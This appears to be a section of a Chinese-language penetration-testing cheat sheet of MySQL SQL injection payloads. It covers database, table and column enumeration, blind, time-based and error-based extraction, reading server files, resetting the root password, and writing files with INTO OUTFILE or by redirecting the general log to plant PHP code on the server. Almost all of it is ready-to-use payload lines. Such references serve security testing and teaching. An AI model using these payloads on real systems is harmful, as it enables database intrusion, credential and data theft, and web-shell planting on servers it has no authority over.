33.1. 常见Payload
- Version
SELECT @@version
- Comment
SELECT 1 -- comment
SELECT 1 # comment
SELECT /*comment*/1
- Space
0x9 0xa-0xd 0x20 0xa0
- Current User
SELECT user()
SELECT system_user()
- List User
SELECT user FROM mysql.user
- Current Database
SELECT database()
- List Database
SELECT schema_name FROM information_schema.schemata
- List Tables
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
- List Columns
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
- If
SELECT if(1=1,'foo','bar'); return 'foo'
- Ascii
SELECT char(0x41)
SELECT ascii('A')
SELECT 0x414243 => return ABC
- Delay
sleep(1)
SELECT BENCHMARK(1000000,MD5('A'))
- Read File
select @@datadir
select load_file('databasename/tablename.MYD')
- Blind
ascii(substring(str,pos,length)) & 32 = 1
- Error Based
select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))
- Change Password
MySQL -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"
33.1.1. 报错注入常见函数
- extractvalue
- updatexml
- GeometryCollection
- linestring
- multilinestring
- multipoint
- multipolygon
- polygon
- exp
33.2. 写文件
33.2.1. 写文件前提
- root 权限
- 知晓文件绝对路径
- 写入的路径存在写入权限
- secure_file_priv 允许向对应位置写入
select count(file_priv) from mysql.user
33.2.2. 基于 into 写文件
union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'
dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏。
33.2.3. 基于 log 写文件
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '<?php var_dump("test");?>';
set global general_log_file = '/original/path';
set global general_log = off;